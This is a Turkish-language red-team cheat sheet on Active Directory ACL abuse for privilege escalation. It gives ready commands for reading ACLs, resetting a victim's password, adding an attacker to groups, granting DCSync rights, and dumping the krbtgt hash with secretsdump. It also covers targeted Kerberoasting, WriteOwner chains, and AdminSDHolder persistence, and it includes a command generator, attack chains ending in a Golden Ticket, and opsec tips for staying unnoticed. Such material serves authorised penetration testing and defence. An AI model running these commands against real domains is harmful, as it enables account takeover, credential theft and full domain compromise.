ACL Abuse

MITRE ATT&CK · T1222.001 phase: privilege escalation

MITRE ATT&CK · T1222.001 phase: privilege escalation

Active Directory nesneleri (kullanıcı, grup, bilgisayar, GPO, OU) üzerindeki erişim kontrol listeleri (ACL/DACL) yanlış yapılandırıldığında, düşük yetkili bir hesap başka bir nesne üzerinde kontrol kazanabilir. BloodHound bu ilişkileri kenar (edge) olarak gösterir ve Domain Admins’e giden yolu çizer. ACL abuse çoğu modern AD privesc’in (RBCD, Shadow, DCSync ACE, GPO) ortak ön adımıdır.

Sık istismar edilen haklar

Hak / Edge	Etki	Tipik sömürü
GenericAll	Tam kontrol	parola reset, SPN, group add, RBCD, shadow
GenericWrite	Özellik yazma	targeted Kerberoast, RBCD, shadow, scriptPath
WriteDacl	ACL yaz	kendine GenericAll / DCSync
WriteOwner	Owner ol	sonra WriteDacl
Owns	Zaten owner	WriteDacl
ForceChangePassword	Parola sıfırla	net rpc password / bloodyAD
AddMember	Gruba ekle	DA / IT grupları
AllExtendedRights	Extended	ForceChangePassword vb.
WriteProperty (spesifik)	Tek attribute	msDS-KeyCredentialLink, AllowedToAct
DCSync rights	Replikasyon	DCSync

Keşif

Find-InterestingDomainAcl -ResolveGUIDs

Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs

Get-PathAcl \\domain.local\SYSVOL

impacket-dacledit -action read -target 'Domain Admins' \
  domain.local/user:'Pass' -dc-ip DC

bloodyAD -u user -p 'Pass' -d domain.local --host DC \
  get objectacl 'CN=Target,CN=Users,DC=domain,DC=local'

BloodHound: Shortest Paths to Domain Admins, ACL kenarlarını tek tek aç.

Örnek senaryolar

1. ForceChangePassword — hedef kullanıcının parolasını sıfırla: Note Parola reset oturumları düşürür / kullanıcı fark eder — mümkünse Shadow Credentials tercih et.

   net rpc password 'victim' 'NewPass123!' \
     -U 'domain.local/attacker%Pass123' -S 10.10.10.5

   bloodyAD -u attacker -p 'Pass123' -d domain.local --host 10.10.10.5 \
     set password victim 'NewPass123!'

2. AddMember — kendini / controlled user’ı gruba ekle:

   bloodyAD -u attacker -p 'Pass123' -d domain.local --host DC \
     add groupMember 'IT Admins' attacker

   net group 'IT Admins' attacker /add /domain

3. WriteDacl / GenericAll → DCSync :

   impacket-dacledit -action write -rights DCSync -principal attacker \
     -target-dn 'DC=domain,DC=local' domain.local/attacker:'Pass123'

   bloodyAD -u attacker -p 'Pass123' -d domain.local --host DC \
     add dcsync attacker

   impacket-secretsdump -just-dc-user krbtgt domain.local/attacker:'Pass123'@DC

4. GenericWrite → Targeted Kerberoast :

   Set-DomainObject -Identity victim -Set @{serviceprincipalname='http/evil'}

   Set-DomainObject -Identity victim -Clear serviceprincipalname

5. GenericWrite on Computer$ → RBCD / Shadow : RBCD

6. Shadow Credentials

7. WriteOwner zinciri :

   bloodyAD -u attacker -p 'Pass' -d domain.local --host DC \
     set owner 'CN=Target,CN=Users,DC=domain,DC=local' attacker

   bloodyAD ... add genericAll 'CN=Target,...' attacker

8. GPO / OU : GPO Abuse

9. OU GenericAll → child nesneler / GPLink

AdminSDHolder / Protected groups

adminCount=1 nesnelerde SDProp ACL’i ~60 dk’da AdminSDHolder’dan kopyalar. Geçici ACE yazsan bile geri alınabilir; kalıcılık için AdminSDHolder üzerine yaz.

Komut üreteci

⚡

ForceChangePassword · net rpc

embedded tool

DomainAttackerAttacker passTarget userNew passwordDC

Generated commandcopy

net rpc password victim NewP@ss123 -U domain.local/attacker%Pass123 -S 10.10.10.5

ForceChangePassword · net rpc

Saldırı zinciri örnekleri

GenericAll on soft_admin user
  → Shadow Credentials (reset yok)
  → soft_admin NT
  → AddMember on Backup Operators
  → NTDS copy → krbtgt

WriteDacl on domain object
  → DCSync ACE
  → secretsdump
  → Golden Ticket

Opsec (ofansif)

• ForceChangePassword en “görünür” kullanıcı etkisi — Shadow/RBCD tercih.
• DCSync ACE bırakmak kalıcılıktır; angajmanda temizle veya bilerek bırak.
• Targeted Kerberoast SPN’ini mutlaka geri al.
• Toplu Find-InterestingDomainAcl LDAP gürültüsü — BloodHound DCOnly yeterli olabilir.

Yaygın tuzaklar

• BloodHound kenarı stale — exploit öncesi dacledit read ile doğrula.
• Deny ACE allow’dan önce gelir.
• Nested group ile gelen hak — MemberOf yolunu takip et.
• GenericWrite ≠ her attribute; property set kısıtları.
• Protected Users / SID filtering trust senaryolarında etki değişir.

Sonraki adımlar

DCSync · RBCD · Shadow Credentials · GPO Abuse · BloodHound